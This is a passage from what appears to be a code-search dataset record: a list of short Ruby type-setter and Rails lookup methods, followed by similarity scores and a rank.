ProcessRecord::TYPE_TABLE[name] = self\n end", "def type=(type)\n type = type.intern\n super type\n end", "def set_type\n @type = Type.find(params[:id])\n end", "def set_type\n @type = Type.find(params[:id])\n end", "def set_type\n @type = Type.find(params[:id])\n end", "def set_questiontype\n @questiontype = Questiontype.find(params[:id])\n end", "def set_type\n @type = Type.find(params[:id])\n\n end", "def type= (type)\n self.tweet_type = type\n end", "def set_question_type\n @question_type = QuestionType.find(params[:id])\n end", "def type(type)\n opts[:type] = type\n end", "def device_type=(s)\n self[:type] = s\n end", "def what(v)\n @v=v\n end", "def type value\n @settings[:type] = value\n return self\n end", "def request_type=(value)\n @request_type = value\n end", "def device_type=(s)\n self[:type] = s\n end", "def setpostypeid(value)\r\n setvalue(SVTags::POS_TYPE_ID, value)\r\n end", "def type=(type)\n if type && !VALID_TYPES.include?(type.to_sym)\n raise ArgumentError, \"Invalid Type (#{type}), use: #{VALID_TYPES*' '}\"\n end\n write_attr :type, type\n end", "def type_name=(val)\n self['type_name'] = val\n end", "def initialize type, **options\n super **options\n @type = NRSER::Types.make type\n end", "def initialize type, **options\n super **options\n @type = NRSER::Types.make type\n end", "def set_typeio\n @typeio = Typeio.find(params[:id])\n end", "def question_type\n @type = params[:type]\n end", "def _type=(_)\n end", "def set_type(qualified_name, type)\n @types[qualified_name] = type\n end", "def type=(val)\n if (val.kind_of?(Integer))\n @type = val & 0xff\n elsif(val.kind_of?(String))\n raise ArgumentError, \"Value should be 1-byte, but was #{val.length}.\" if (val.length != 1) \n @type = val.unpack('C')[0]\n else\n raise ArgumentError, \"Expected String or Integer, but #{val.class} provided.\" \n end\n end", "def type=(type)\n validator = EnumAttributeValidator.new('String', [\"Subscription\", \"FixedTerm\", \"Trial\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end", "def type=(type)\n validator = EnumAttributeValidator.new('String', [\"Subscription\", \"FixedTerm\", \"Trial\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end", "def type=(type)\n if type && !VALID_TYPES.include?(type.to_sym)\n raise ArgumentError, \"Invalid Type (#{type}), use: #{VALID_TYPES*' '}\"\n end\n write_attr :type, type\n end", "def set_type\n puts \"set_type: #{params[:id]}\"\n @type = Type.where(id: params[:id]).first\n puts \"set_type, find: #{@type.id}\"\n end", "def set_query_type\n @query_type = QueryType.find(params[:id])\n end", "def set_type\n @type = Type.find(params[:id])\n end", "def set_type_of_value\n @type_of_value = TypeOfValue.find(params[:id])\n end", "def set_type\n raise Error::NotFoundError unless (@type = Type.find(params[:id]))\n end", "def set_type_if_empty\n self.type = 'Protonym' if self.type.nil?\n end", "def setResponseType(type)\n if type == 0\n @audience = Human.new\n elsif type == 1\n @audience = Asura.new\n elsif type == 2\n @audience = Charr.new\n elsif type == 3\n @audience = Norn.new\n elsif type == 4\n @audience = Sylvari.new\n else\n @audience = Skritt.new\n end\n end", "def set_invtype\n @invtype = Invtype.find(params[:id])\n end", "def set(iqvcard)\n iq = Iq.new(:set)\n iq.add(iqvcard)\n\n @stream.send_with_id(iq) { |answer|\n if answer.type == :result\n true\n else\n false\n end\n }\n end", "def set_qualification_type\n @qualification_type = QualificationType.find(params[:id])\n end", "def initialize( type, subtype, qval=Q_DEFAULT, *extensions )\n\t\ttype = nil if type == '*'\n\t\tsubtype = nil if subtype == '*'\n\n\t\t@type = type\n\t\t@subtype = subtype\n\t\t@qvalue = normalize_qvalue( qval )\n\t\t@extensions = extensions.flatten\n\tend", "def set_type\n @type = IngredientType.find(params[:id])\n end" ]
[ "0.65418696", "0.6324375", "0.5886321", "0.5807674", "0.5782197", "0.5778622", "0.57703036", "0.57380307", "0.569988", "0.5688429", "0.56744564", "0.5665309", "0.56647444", "0.56647444", "0.56647444", "0.5660968", "0.56393033", "0.56327486", "0.56327486", "0.56327486", "0.56327486", "0.56327486", "0.56327486", "0.56327486", "0.55797935", "0.5575963", "0.55717987", "0.5561699", "0.5520115", "0.55096984", "0.5468837", "0.5464924", "0.5443948", "0.5427546", "0.5423768", "0.54170746", "0.54170746", "0.5394544", "0.5384061", "0.5384061", "0.5375636", "0.5375636", "0.53553426", "0.53302854", "0.5318395", "0.53163534", "0.53163534", "0.53163534", "0.53163534", "0.53163534", "0.5312184", "0.5312184", "0.52998376", "0.5299374", "0.5293729", "0.5293729", "0.5289038", "0.5279258", "0.5274278", "0.5255035", "0.525482", "0.5245107", "0.5226297", "0.5226297", "0.5226297", "0.5210984", "0.52055144", "0.520487", "0.5196404", "0.5185276", "0.5179746", "0.5177652", "0.5176894", "0.5143446", "0.51428366", "0.51406026", "0.51009196", "0.51008284", "0.50978357", "0.50978357", "0.5094892", "0.5090177", "0.50845605", "0.50838965", "0.5078161", "0.5077591", "0.5077591", "0.5077258", "0.5074797", "0.5068953", "0.5066187", "0.50600505", "0.5046062", "0.50413316", "0.50377685", "0.5037288", "0.5031526", "0.50076336", "0.49949273", "0.49800178" ]
0.5599115
24